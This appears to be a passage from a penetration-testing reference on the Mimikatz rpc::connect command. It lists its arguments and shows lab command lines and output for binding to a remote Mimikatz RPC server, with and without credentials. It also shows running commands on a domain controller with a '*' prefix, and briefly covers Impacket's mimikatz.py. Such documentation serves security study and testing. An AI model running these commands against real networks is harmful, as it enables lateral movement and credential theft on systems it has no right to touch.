connect

rpc::connect can be used to connect to an RPC endpoint. It has the following command line arguments:
/alg: the encryption algorithm to use for the connection. The options are 3DES or RC4. By default it uses 3DES.
/remote: the RPC server to connect
/noauth: no authentication is required to connect to the remote RPC endpoint
/authuser: the user for authentication
/authdomain: the domain of the authuser
/authpassword: the authuser's password
Without authentication
With authentication
Mimikatz can connect to an RPC server without authentication.
mimikatz # rpc::connect /remote:192.168.0.224 /noauth
[rpc] Remote   : 192.168.0.224
[rpc] ProtSeq  : ncacn_ip_tcp
[rpc] Endpoint : (null)
[rpc] Service  : (null)
[rpc] AuthnSvc : NONE (0)
[rpc] NULL Sess: no
Algorithm: CALG_3DES (00006603)
Endpoint resolution is OK
mimikatz is bound!
Mimikatz can connect to an RPC server requiring authentication, the auth* arguments are needed.
mimikatz # rpc::connect /remote:192.168.0.224 /authuser:m3g9tr0n /authdomain:hacklab.local /authpassword:Super_SecretPass!
[rpc] Remote   : 192.168.0.224
[rpc] ProtSeq  : ncacn_ip_tcp
[rpc] Endpoint : (null)
[rpc] Service  : (null)
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
[rpc] NULL Sess: no
Algorithm: CALG_3DES (00006603)

To run commands on the remote server through the session initiated with mimikatz, a wildcard (*) should prepend the commands.
mimikatz # hostname
Win10.hacklab.local (WIN10)
​
mimikatz # *hostname
DC.hacklab.local (DC)
The mimikat​z.py from Impacket can also be used to connect to it.
Without authentication
With authentication
Without supplying credentials, mimikatz.py will attempt to start an unauthenticated session.
# python3 mimikatz.py 192.168.0.224                                                                                                                                                                                                     1 ⨯

If the remote RPC endpoint requires authentication, mimikatz.py will need credentials.
